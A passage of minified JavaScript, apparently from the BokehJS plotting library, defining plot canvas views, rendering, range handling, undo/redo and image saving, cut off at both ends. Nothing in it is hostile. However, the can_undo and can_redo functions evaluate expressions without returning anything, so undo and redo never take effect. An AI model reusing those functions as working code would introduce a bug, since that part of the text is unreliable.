t=o.__assign({},d.prototype.get_constrained_variables.call(this),{on_edge_align_top:this.plot_canvas._top,on_edge_align_bottom:this.plot_canvas._height_minus_bottom,on_edge_align_left:this.plot_canvas._left,on_edge_align_right:this.plot_canvas._width_minus_right,box_cell_align_top:this.plot_canvas._top,box_cell_align_bottom:this.plot_canvas._height_minus_bottom,box_cell_align_left:this.plot_canvas._left,box_cell_align_right:this.plot_canvas._width_minus_right,box_equal_size_top:this.plot_canvas._top,box_equal_size_bottom:this.plot_canvas._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this.plot_canvas._left,t.box_equal_size_right=this.plot_canvas._width_minus_right),t},Object.defineProperty(t.prototype,\\\"all_renderers\\\",{get:function(){for(var t=this.renderers,e=0,i=this.toolbar.tools;e<i.length;e++){var n=i[e];t=t.concat(n.synthetic_renderers)}return t},enumerable:!0,configurable:!0}),t}(l.LayoutDOM);(i.Plot=d).initClass()},function(t,e,i){var l=t(391),n=t(91),r=t(92),C=t(180),T=t(185),o=t(157),s=t(3),h=t(19),c=t(4),u=t(20),_=t(49),a=t(6),p=t(11),d=t(10),f=t(13),A=t(14),v=t(7),m=t(15),g=t(42),y=t(44),b=t(21),E=t(32),x=t(12),w=null,k=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return l.__extends(t,a),Object.defineProperty(t.prototype,\\\"frame\\\",{get:function(){return this.model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas\\\",{get:function(){return this.model.canvas},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_overlays\\\",{get:function(){return this.canvas_view.overlays_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_events\\\",{get:function(){return this.canvas_view.events_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_paused\\\",{get:function(){return null!=this._is_paused&&0!==this._is_paused},enumerable:!0,configurable:!0}),t.prototype.view_options=function(){return{plot_view:this,parent:this}},t.prototype.pause=function(){null==this._is_paused?this._is_paused=1:this._is_paused+=1},t.prototype.unpause=function(t){if(void 0===t&&(t=!1),null==this._is_paused)throw new Error(\\\"wasn't paused\\\");this._is_paused-=1,0!=this._is_paused||t||this.request_render()},t.prototype.request_render=function(){this.request_paint()},t.prototype.request_paint=function(){this.is_paused||this.throttled_paint()},t.prototype.reset=function(){this.clear_state(),this.reset_range(),this.reset_selection(),this.model.plot.trigger_event(new s.Reset)},t.prototype.remove=function(){this.ui_event_bus.destroy(),c.remove_views(this.renderer_views),c.remove_views(this.tool_views),this.canvas_view.remove(),a.prototype.remove.call(this)},t.prototype.css_classes=function(){return a.prototype.css_classes.call(this).concat(\\\"bk-plot-wrapper\\\")},t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this.force_paint=new h.Signal0(this,\\\"force_paint\\\"),this.state_changed=new h.Signal0(this,\\\"state_changed\\\"),this.lod_started=!1,this.visuals=new _.Visuals(this.model.plot),this._initial_state_info={selection:{},dimensions:{width:this.model.canvas._width.value,height:this.model.canvas._height.value}},this.visibility_callbacks=[],this.state={history:[],index:-1},this.canvas_view=new this.canvas.default_view({model:this.canvas,parent:this}),this.el.appendChild(this.canvas_view.el),this.canvas_view.render(),\\\"webgl\\\"==this.model.plot.output_backend&&this.init_webgl(),this.throttled_paint=g.throttle(function(){return e.force_paint.emit()},15),this.ui_event_bus=new u.UIEvents(this,this.model.toolbar,this.canvas_view.events_el,this.model.plot),this.levels={};for(var i=0,n=v.RenderLevel;i<n.length;i++){var r=n[i];this.levels[r]={}}this.renderer_views={},this.tool_views={},this.build_levels(),this.build_tools(),this.update_dataranges(),this.unpause(!0),A.logger.debug(\\\"PlotView initialized\\\")},t.prototype.set_cursor=function(t){void 0===t&&(t=\\\"default\\\"),this.canvas_view.el.style.cursor=t},t.prototype.set_toolbar_visibility=function(e){void 0===e&&(e=!0),this.visibility_callbacks.forEach(function(t){return t(e)})},t.prototype.init_webgl=function(){if(null==w){var t=document.createElement(\\\"canvas\\\"),e={premultipliedAlpha:!0},i=t.getContext(\\\"webgl\\\",e)||t.getContext(\\\"experimental-webgl\\\",e);null!=i&&(w={canvas:t,ctx:i})}null!=w?this.gl=w:A.logger.warn(\\\"WebGL is not supported, falling back to 2D canvas.\\\")},t.prototype.prepare_webgl=function(t,e){if(null!=this.gl){var i=this.canvas_view.get_canvas_element();this.gl.canvas.width=i.width,this.gl.canvas.height=i.height;var n=this.gl.ctx;n.viewport(0,0,this.gl.canvas.width,this.gl.canvas.height),n.clearColor(0,0,0,0),n.clear(n.COLOR_BUFFER_BIT||n.DEPTH_BUFFER_BIT),n.enable(n.SCISSOR_TEST);var r=e[0],o=e[1],s=e[2],a=e[3],l=this.model.canvas,h=l.xview,u=l.yview,c=h.compute(r),_=u.compute(o+a);n.scissor(t*c,t*_,t*s,t*a),n.enable(n.BLEND),n.blendFuncSeparate(n.SRC_ALPHA,n.ONE_MINUS_SRC_ALPHA,n.ONE_MINUS_DST_ALPHA,n.ONE)}},t.prototype.blit_webgl=function(t){var e=this.canvas_view.ctx;null!=this.gl&&(A.logger.debug(\\\"drawing with WebGL\\\"),e.restore(),e.drawImage(this.gl.canvas,0,0),e.save(),e.scale(t,t),e.translate(.5,.5))},t.prototype.update_dataranges=function(){for(var t=this.model.frame,e={},i={},n=!1,r=0,o=E.values(t.x_ranges).concat(E.values(t.y_ranges));r<o.length;r++){var s=o[r];s instanceof C.DataRange1d&&\\\"log\\\"==s.scale_hint&&(n=!0)}for(var a in this.renderer_views){var l=this.renderer_views[a];if(l instanceof T.GlyphRendererView){var h=l.glyph.bounds();if(null!=h&&(e[a]=h),n){var u=l.glyph.log_bounds();null!=u&&(i[a]=u)}}}var c,_=!1,p=!1;!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&(c=1/this.model.plot.aspect_scale*(this.frame._width.value/this.frame._height.value));for(var d=0,f=E.values(t.x_ranges);d<f.length;d++){var v=f[d];if(v instanceof C.DataRange1d){var m=\\\"log\\\"==v.scale_hint?i:e;v.update(m,0,this.model.id,c),v.follow&&(_=!0)}null!=v.bounds&&(p=!0)}for(var g=0,y=E.values(t.y_ranges);g<y.length;g++){var b=y[g];if(b instanceof C.DataRange1d){var m=\\\"log\\\"==b.scale_hint?i:e;b.update(m,1,this.model.id,c),b.follow&&(_=!0)}null!=b.bounds&&(p=!0)}if(_&&p){A.logger.warn(\\\"Follow enabled so bounds are unset.\\\");for(var x=0,w=E.values(t.x_ranges);x<w.length;x++){var v=w[x];v.bounds=null}for(var k=0,S=E.values(t.y_ranges);k<S.length;k++){var b=S[k];b.bounds=null}}this.range_update_timestamp=Date.now()},t.prototype.map_to_screen=function(t,e,i,n){return void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\"),this.frame.map_to_screen(t,e,i,n)},t.prototype.push_state=function(t,e){var i=this.state,n=i.history,r=i.index,o=null!=n[r]?n[r].info:{},s=l.__assign({},this._initial_state_info,o,e);this.state.history=this.state.history.slice(0,this.state.index+1),this.state.history.push({type:t,info:s}),this.state.index=this.state.history.length-1,this.state_changed.emit()},t.prototype.clear_state=function(){this.state={history:[],index:-1},this.state_changed.emit()},t.prototype.can_undo=function(){this.state.index},t.prototype.can_redo=function(){this.state.index,this.state.history.length},t.prototype.undo=function(){this.can_undo()&&(this.state.index-=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype.redo=function(){this.can_redo()&&(this.state.index+=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype._do_state_change=function(t){var e=null!=this.state.history[t]?this.state.history[t].info:this._initial_state_info;null!=e.range&&this.update_range(e.range),null!=e.selection&&this.update_selection(e.selection)},t.prototype.get_selection=function(){for(var t={},e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source.selected;t[n.id]=r}}return t},t.prototype.update_selection=function(t){for(var e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source;null!=t?null!=t[n.id]&&r.selected.update(t[n.id],!0,!1):r.selection_manager.clear()}}},t.prototype.reset_selection=function(){this.update_selection(null)},t.prototype._update_ranges_together=function(t){for(var e=1,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1];e=Math.min(e,this._get_weight_to_constrain_interval(o,s))}if(e<1)for(var a=0,l=t;a<l.length;a++){var h=l[a],o=h[0],s=h[1];s.start=e*s.start+(1-e)*o.start,s.end=e*s.end+(1-e)*o.end}},t.prototype._update_ranges_individually=function(t,e,i,n){for(var r=!1,o=0,s=t;o<s.length;o++){var a=s[o],l=a[0],h=a[1];if(!i){var u=this._get_weight_to_constrain_interval(l,h);u<1&&(h.start=u*h.start+(1-u)*l.start,h.end=u*h.end+(1-u)*l.end)}if(null!=l.bounds&&\\\"auto\\\"!=l.bounds){var c=l.bounds,_=c[0],p=c[1],d=Math.abs(h.end-h.start);l.is_reversed?(null!=_&&_>=h.end&&(r=!0,h.end=_,(e||i)&&(h.start=_+d)),null!=p&&p<=h.start&&(r=!0,h.start=p,(e||i)&&(h.end=p-d))):(null!=_&&_>=h.start&&(r=!0,h.start=_,(e||i)&&(h.end=_+d)),null!=p&&p<=h.end&&(r=!0,h.end=p,(e||i)&&(h.start=p-d)))}}if(!(i&&r&&n))for(var f=0,v=t;f<v.length;f++){var m=v[f],l=m[0],h=m[1];l.have_updated_interactively=!0,l.start==h.start&&l.end==h.end||l.setv(h)}},t.prototype._get_weight_to_constrain_interval=function(t,e){var i=t.min_interval,n=t.max_interval;if(null!=t.bounds&&\\\"auto\\\"!=t.bounds){var r=t.bounds,o=r[0],s=r[1];if(null!=o&&null!=s){var a=Math.abs(s-o);n=null!=n?Math.min(n,a):a}}var l=1;if(null!=i||null!=n){var h=Math.abs(t.end-t.start),u=Math.abs(e.end-e.start);0<i&&u<i&&(l=(h-i)/(h-u)),0<n&&n<u&&(l=(n-h)/(u-h)),l=Math.max(0,Math.min(1,l))}return l},t.prototype.update_range=function(t,e,i,n){void 0===e&&(e=!1),void 0===i&&(i=!1),void 0===n&&(n=!0),this.pause();var r=this.frame,o=r.x_ranges,s=r.y_ranges;if(null==t){for(var a in o){var l=o[a];l.reset()}for(var h in s){var l=s[h];l.reset()}this.update_dataranges()}else{var u=[];for(var c in o){var l=o[c];u.push([l,t.xrs[c]])}for(var _ in s){var l=s[_];u.push([l,t.yrs[_]])}i&&this._update_ranges_together(u),this._update_ranges_individually(u,e,i,n)}this.unpause()},t.prototype.reset_range=function(){this.update_range(null)},t.prototype.build_levels=function(){var t=this.model.plot.all_renderers,e=E.keys(this.renderer_views),i=c.build_views(this.renderer_views,t,this.view_options()),n=b.difference(e,t.map(function(t){return t.id}));for(var r in this.levels)for(var o=0,s=n;o<s.length;o++){var a=s[o];delete this.levels[r][a]}for(var l=0,h=i;l<h.length;l++){var u=h[l];this.levels[u.model.level][u.model.id]=u}},t.prototype.get_renderer_views=function(){var e=this;return this.model.plot.renderers.map(function(t){return e.levels[t.level][t.id]})},t.prototype.build_tools=function(){var e=this,t=this.model.plot.toolbar.tools,i=c.build_views(this.tool_views,t,this.view_options());i.map(function(t){return e.ui_event_bus.register_tool(t)})},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.force_paint,function(){return t.repaint()});var e=this.model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.request_render()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.request_render()})}this.connect(this.model.plot.properties.renderers.change,function(){return t.build_levels()}),this.connect(this.model.plot.toolbar.properties.tools.change,function(){t.build_levels(),t.build_tools()}),this.connect(this.model.plot.change,function(){return t.request_render()}),this.connect(this.model.plot.reset,function(){return t.reset()})},t.prototype.set_initial_range=function(){var t=!0,e=this.frame,i=e.x_ranges,n=e.y_ranges,r={},o={};for(var s in i){var a=i[s],l=a.start,h=a.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}r[s]={start:l,end:h}}if(t)for(var u in n){var c=n[u],l=c.start,h=c.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}o[u]={start:l,end:h}}t?(this._initial_state_info.range={xrs:r,yrs:o},A.logger.debug(\\\"initial ranges set\\\")):A.logger.warn(\\\"could not set initial ranges\\\")},t.prototype.update_constraints=function(){for(var t in this.solver.suggest_value(this.frame._width,this.canvas._width.value),this.solver.suggest_value(this.frame._height,this.canvas._height.value),this.renderer_views){var e=this.renderer_views[t];x.isSizeableView(e)&&null!=e.model.panel&&x.update_panel_constraints(e)}this.solver.update_variables()},t.prototype._layout=function(t){void 0===t&&(t=!1),this.render(),t&&(this.model.plot.setv({inner_width:Math.round(this.frame._width.value),inner_height:Math.round(this.frame._height.value),layout_width:Math.round(this.canvas._width.value),layout_height:Math.round(this.canvas._height.value)},{no_change:!0}),this.paint())},t.prototype.has_finished=function(){if(!a.prototype.has_finished.call(this))return!1;for(var t in this.levels){var e=this.levels[t];for(var i in e){var n=e[i];if(!n.has_finished())return!1}}return!0},t.prototype.render=function(){var t=this.model._width.value,e=this.model._height.value;this.canvas_view.set_dims([t,e]),this.update_constraints(),!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&this.update_dataranges(),this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype._needs_layout=function(){for(var t in this.renderer_views){var e=this.renderer_views[t];if(x.isSizeableView(e)&&null!=e.model.panel&&x._view_sizes.get(e)!=e.get_size())return!0}return!1},t.prototype.repaint=function(){this._needs_layout()?this.parent.partial_layout():this.paint()},t.prototype.paint=function(){var t=this;if(!this.is_paused){A.logger.trace(\\\"PlotCanvas.render() for \\\"+this.model.id),this.canvas_view.prepare_canvas();var e=this.model.document;if(null!=e){var i=e.interactive_duration(),n=this.model.plot;0<=i&&i<n.lod_interval?setTimeout(function(){e.interactive_duration()>n.lod_timeout&&e.interactive_stop(n),t.request_render()},n.lod_timeout):e.interactive_stop(n)}for(var r in this.renderer_views){var o=this.renderer_views[r];if(null==this.range_update_timestamp||o instanceof T.GlyphRendererView&&o.set_data_timestamp>this.range_update_timestamp){this.update_dataranges();break}}this.model.frame.update_scales();var s=this.canvas_view.ctx,a=this.canvas.pixel_ratio;s.save(),s.scale(a,a),s.translate(.5,.5);var l=[this.frame._left.value,this.frame._top.value,this.frame._width.value,this.frame._height.value];if(this._map_hook(s,l),this._paint_empty(s,l),this.prepare_webgl(a,l),s.save(),this.visuals.outline_line.doit){this.visuals.outline_line.set_value(s);var h=l[0],u=l[1],c=l[2],_=l[3];h+c==this.canvas._width.value&&(c-=1),u+_==this.canvas._height.value&&(_-=1),s.strokeRect(h,u,c,_)}s.restore(),this._paint_levels(s,[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\"],l,!0),this.blit_webgl(a),this._paint_levels(s,[\\\"annotation\\\"],l,!0),this._paint_levels(s,[\\\"overlay\\\"],l,!1),null==this._initial_state_info.range&&this.set_initial_range(),s.restore(),this._has_finished||(this._has_finished=!0,this.notify_finished())}},t.prototype._paint_levels=function(t,e,i,n){t.save(),n&&(t.beginPath(),t.rect.apply(t,i),t.clip());for(var r={},o=0;o<this.model.plot.renderers.length;o++){var s=this.model.plot.renderers[o];r[s.id]=o}for(var a=function(t){return r[t.model.id]},l=0,h=e;l<h.length;l++)for(var u=h[l],c=b.sortBy(E.values(this.levels[u]),a),_=0,p=c;_<p.length;_++){var d=p[_];!n&&d.needs_clip&&(t.save(),t.beginPath(),t.rect.apply(t,i),t.clip()),d.render(),!n&&d.needs_clip&&t.restore()}t.restore()},t.prototype._map_hook=function(t,e){},t.prototype._paint_empty=function(t,e){var i=[0,0,this.canvas_view.model._width.value,this.canvas_view.model._height.value],n=i[0],r=i[1],o=i[2],s=i[3],a=e[0],l=e[1],h=e[2],u=e[3];t.clearRect(n,r,o,s),this.visuals.border_fill.doit&&(this.visuals.border_fill.set_value(t),t.fillRect(n,r,o,s),t.clearRect(a,l,h,u)),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(a,l,h,u))},t.prototype.save=function(t){switch(this.model.plot.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":var e=this.canvas_view.get_canvas_element();if(null!=e.msToBlob){var i=e.msToBlob();window.navigator.msSaveBlob(i,t)}else{var n=document.createElement(\\\"a\\\");n.href=e.toDataURL(\\\"image/png\\\"),n.download=t+\\\".png\\\",n.target=\\\"_blank\\\",n.dispatchEvent(new MouseEvent(\\\"click\\\"))}break;case\\\"svg\\\":var r=this.canvas_view._ctx,o=r.getSerializedSvg(!0),s=new Blob([o],{type:\\\"text/plain\\\"}),a=document.createElement(\\\"a\\\");a.download=t+\\\".svg\\\",a.innerHTML=\\\"Download svg\\\",a.href=window.URL.createObjectURL(s),a.onclick=function(t){return document.body.removeChild(t.target)},a.style.display=\\\"none\\\",document.body.appendChild(a),a.click()}},t}(a.DOMView);i.PlotCanvasView=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"AbovePanel\\\"},e}(p.LayoutCanvas);(i.AbovePanel=S).initClass();var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BelowPanel\\\"},e}(p.LayoutCanvas);(i.BelowPanel=M).initClass();var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"LeftPanel\\\"},e}(p.LayoutCanvas);(i.LeftPanel=O).initClass();var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"RightPanel\\\"},e}(p.LayoutCanvas);(i.RightPanel=z).initClass();var P=function(e){function t(t){return e.call(this,t)||this}return l.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PlotCanvas\\\",this.prototype.default_view=k,this.internal({plot:[m.Instance],toolbar:[m.Instance],canvas:[m.Instance],frame:[m.Instance]}),this.override({sizing_mode:\\\"stretch_both\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.canvas=new n.Canvas({map:null!=this.use_map&&this.use_map,use_hidpi:this.plot.hidpi,output_backend:this.plot.output_backend}),this.frame=new r.CartesianFrame({x_range:this.plot.x_range,extra_x_ranges:this.plot.extra_x_ranges,x_scale:this.plot.x_scale,y_range:this.plot.y_range,extra_y_ranges:this.plot.extra_y_ranges,y_scale:this.plot.y_scale}),this.above_panel=new S,this.below_panel=new M,this.left_panel=new O,this.right_panel=new z,A.logger.debug(\\\"PlotCanvas initialized\\\")},t.prototype._doc_attached=function(){this.canvas.attach_document(this.document),this.frame.attach_document(this.document),this.above_panel.attach_document(this.document),this.below_panel.attach_document(this.document),this.left_panel.attach_document(this.document),this.right_panel.attach_document(this.document),e.prototype._doc_attached.call(this),A.logger.debug(\\\"PlotCanvas attached to document\\\")},t.prototype.get_layoutable_children=function(){var r=[this.above_panel,this.below_panel,this.left_panel,this.right_panel,this.canvas,this.frame],t=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e];x.isSizeable(n)&&null!=n.panel&&r.push(n.panel)}};return t(this.plot.above),t(this.plot.below),t(this.plot.left),t(this.plot.right),r},t.prototype.get_constraints=function(){return e.prototype.get_constraints.call(this).concat(this._get_constant_constraints(),this._get_side_constraints())},t.prototype._get_constant_constraints=function(){return[f.EQ(this.canvas._left,0),f.EQ(this.canvas._top,0),f.GE(this.above_panel._top,[-1,this.canvas._top]),f.EQ(this.above_panel._bottom,[-1,this.frame._top]),f.EQ(this.above_panel._left,[-1,this.left_panel._right]),f.EQ(this.above_panel._right,[-1,this.right_panel._left]),f.EQ(this.below_panel._top,[-1,this.frame._bottom]),f.LE(this.below_panel._bottom,[-1,this.canvas._bottom]),f.EQ(this.below_panel._left,[-1,this.left_panel._right]),f.EQ(this.below_panel._right,[-1,this.right_panel._left]),f.EQ(this.left_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.left_panel._bottom,[-1,this.below_panel._top]),f.GE(this.left_panel._left,[-1,this.canvas._left]),f.EQ(this.left_panel._right,[-1,this.frame._left]),f.EQ(this.right_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.right_panel._bottom,[-1,this.below_panel._top]),f.EQ(this.right_panel._left,[-1,this.frame._right]),f.LE(this.right_panel._right,[-1,this.canvas._right]),f.EQ(this._top,[-1,this.above_panel._bottom]),f.EQ(this._left,[-1,this.left_panel._right]),f.EQ(this._height,[-1,this._bottom],[-1,this.canvas._bottom],this.below_panel._top),f.EQ(this._width,[-1,this._right],[-1,this.canvas._right],this.right_panel._left),f.GE(this._top,-this.plot.min_border_top),f.GE(this._left,-this.plot.min_border_left),f.GE(this._height,[-1,this._bottom],-this.plot.min_border_bottom),f.GE(this._width,[-1,this._right],-this.plot.min_border_right)]},t.prototype._get_side_constraints=function(){var t=function(t){return t.map(function(t){return t.panel})},e=d.vstack(this.above_panel,t(this.plot.above)),i=d.vstack(this.below_panel,b.reversed(t(this.plot.below))),n=d.hstack(this.left_panel,t(this.plot.left)),r=d.hstack(this.right_panel,b.reversed(t(this.plot.right)));return b.concat([e,i,n,r])},t}(o.LayoutDOM);(i.PlotCanvas=P).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DataRange\\\",this.define({names:[o.Array,[]],renderers:[o.Array,[]]})},t}(r.Range);(i.DataRange=s).initClass()},function(t,e,i){var n=t(391),r=t(179),h=t(185),_=t(14),o=t(15),u=t(24),c=t(21),s=function(i){function t(t){var e=i.call(this,t)||this;return e._plot_bounds={},e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataRange1d\\\",this.define({start:[o.Number],end:[o.Number],range_padding:[o.Number,.1],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],flipped:[o.Bool,!1],follow:[o.StartEnd],follow_interval:[o.Number],default_span:[o.Number,2]}),this.internal({scale_hint:[o.String,\\\"auto\\\"]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._initial_start=this.start,this._initial_end=this.end,this._initial_range_padding=this.range_padding,this._initial_range_padding_units=this.range_padding_units,this._initial_follow=this.follow,this._initial_follow_interval=this.follow_interval,this._initial_default_span=this.default_span},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.computed_renderers=function(){var e=this.names,t=this.renderers;if(0==t.length)for(var i=0,n=this.plots;i<n.length;i++){var r=n[i],o=r.renderers.filter(function(t){return t instanceof h.GlyphRenderer});t=t.concat(o)}0<e.length&&(t=t.filter(function(t){return c.includes(e,t.name)})),_.logger.debug(\\\"computed \\\"+t.length+\\\" renderers for DataRange1d \\\"+this.id);for(var s=0,a=t;s<a.length;s++){var l=a[s];_.logger.trace(\\\" - \\\"+l.type+\\\" \\\"+l.id)}return t},t.prototype._compute_plot_bounds=function(t,e){for(var i=u.empty(),n=0,r=t;n<r.length;n++){var o=r[n];null!=e[o.id]&&(i=u.union(i,e[o.id]))}return i},t.prototype.adjust_bounds_for_aspect=function(t,e){var i=u.empty(),n=t.maxX-t.minX;n<=0&&(n=1);var r=t.maxY-t.minY;r<=0&&(r=1);var o=.5*(t.maxX+t.minX),s=.5*(t.maxY+t.minY);return n<e*r?n=e*r:r=n/e,i.maxX=o+.5*n,i.minX=o-.5*n,i.maxY=s+.5*r,i.minY=s-.5*r,i},t.prototype._compute_min_max=function(t,e){var i,n,r,o,s=u.empty();for(var a in t){var l=t[a];s=u.union(s,l)}return 0==e?(i=[s.minX,s.maxX],r=i[0],o=i[1]):(n=[s.minY,s.maxY],r=n[0],o=n[1]),[r,o]},t.prototype._compute_range=function(t,e){var i,n,r,o=this.range_padding;if(\\\"log\\\"==this.scale_hint){(isNaN(t)||!isFinite(t)||t<=0)&&(t=isNaN(e)||!isFinite(e)||e<=0?.1:e/100,_.logger.warn(\\\"could not determine minimum data value for log axis, DataRange1d using value \\\"+t)),(isNaN(e)||!isFinite(e)||e<=0)&&(e=isNaN(t)||!isFinite(t)||t<=0?10:100*t,_.logger.warn(\\\"could not determine maximum data value for log axis, DataRange1d using value \\\"+e));var s=void 0,a=void 0;if(e==t)a=this.default_span+.001,s=Math.log(t)/Math.log(10);else{var l=void 0,h=void 0;\\\"percent\\\"==this.range_padding_units?(l=Math.log(t)/Math.log(10),h=Math.log(e)/Math.log(10),a=(h-l)*(1+o)):(l=Math.log(t-o)/Math.log(10),h=Math.log(e+o)/Math.log(10),a=h-l),s=(l+h)/2}n=Math.pow(10,s-a/2),r=Math.pow(10,s+a/2)}else{var a=void 0;a=e==t?this.default_span:\\\"percent\\\"==this.range_padding_units?(e-t)*(1+o):e-t+2*o;var s=(e+t)/2;n=s-a/2,r=s+a/2}var u=1;this.flipped&&(n=(i=[r,n])[0],r=i[1],u=-1);var c=this.follow_interval;return null!=c&&Math.abs(n-r)>c&&(\\\"start\\\"==this.follow?r=n+u*c:\\\"end\\\"==this.follow&&(n=r-u*c)),[n,r]},t.prototype.update=function(t,e,i,n){if(!this.have_updated_interactively){var r=this.computed_renderers(),o=this._compute_plot_bounds(r,t);null!=n&&(o=this.adjust_bounds_for_aspect(o,n)),this._plot_bounds[i]=o;var s=this._compute_min_max(this._plot_bounds,e),a=s[0],l=s[1],h=this._compute_range(a,l),u=h[0],c=h[1];null!=this._initial_start&&(\\\"log\\\"==this.scale_hint?0<this._initial_start&&(u=this._initial_start):u=this._initial_start),null!=this._initial_end&&(\\\"log\\\"==this.scale_hint?0<this._initial_end&&(c=this._initial_end):c=this._initial_end);var _=[this.start,this.end],p=_[0],d=_[1];if(u!=p||c!=d){var f={};u!=p&&(f.start=u),c!=d&&(f.end=c),this.setv(f)}\\\"auto\\\"==this.bounds&&this.setv({bounds:[u,c]},{silent:!0}),this.change.emit()}},t.prototype.reset=function(){this.have_updated_interactively=!1,this.setv({range_padding:this._initial_range_padding,range_padding_units:this._initial_range_padding_units,follow:this._initial_follow,follow_interval:this._initial_follow_interval,default_span:this._initial_default_span},{silent:!0}),this.change.emit()},t}(r.DataRange);(i.DataRange1d=s).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=t(22),b=t(21),h=t(44);function m(t,e,i){void 0===i&&(i=0);for(var n={},r=0;r<t.length;r++){var o=t[r];if(o in n)throw new Error(\\\"duplicate factor or subfactor: \\\"+o);n[o]={value:.5+r*(1+e)+i}}return[n,(t.length-1)*e]}function x(t,s,a,e){void 0===e&&(e=0);for(var l={},h={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],u=o[0],c=o[1];u in h||(h[u]=[],i.push(u)),h[u].push(c)}for(var _=e,p=0,d=function(t){var e=h[t].length,i=m(h[t],a,_),n=i[0],r=i[1];p+=r;var o=b.sum(h[t].map(function(t){return n[t].value}));l[t]={value:o/e,mapping:n},_+=e+s+r},f=0,v=i;f<v.length;f++){var u=v[f];d(u)}return[l,i,(i.length-1)*s+p]}function u(t,u,c,_,e){void 0===e&&(e=0);for(var p={},d={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1],l=o[2];s in d||(d[s]=[],i.push(s)),d[s].push([a,l])}for(var f=[],v=e,m=0,h=function(t){for(var e=d[t].length,i=x(d[t],c,_,v),n=i[0],r=i[1],o=i[2],s=0,a=r;s<a.length;s++){var l=a[s];f.push([t,l])}m+=o;var h=b.sum(d[t].map(function(t){var e=t[0];return n[e].value}));p[t]={value:h/e,mapping:n},v+=e+u+o},g=0,y=i;g<y.length;g++){var s=y[g];h(s)}return[p,i,f,(i.length-1)*u+m]}i.map_one_level=m,i.map_two_levels=x,i.map_three_levels=u;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FactorRange\\\",this.define({factors:[o.Array,[]],factor_padding:[o.Number,0],subgroup_padding:[o.Number,.8],group_padding:[o.Number,1.4],range_padding:[o.Number,0],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],start:[o.Number],end:[o.Number]}),this.internal({levels:[o.Number],mids:[o.Array],tops:[o.Array],tops_groups:[o.Array]})},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return this.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return this.end},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init(!0)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.factors.change,function(){return t.reset()}),this.connect(this.properties.factor_padding.change,function(){return t.reset()}),this.connect(this.properties.group_padding.change,function(){return t.reset()}),this.connect(this.properties.subgroup_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding_units.change,function(){return t.reset()})},t.prototype.reset=function(){this._init(!1),this.change.emit()},t.prototype._lookup=function(t){if(1==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])?e[t[0]].value:NaN}if(2==t.length){var e=this._mapping;return 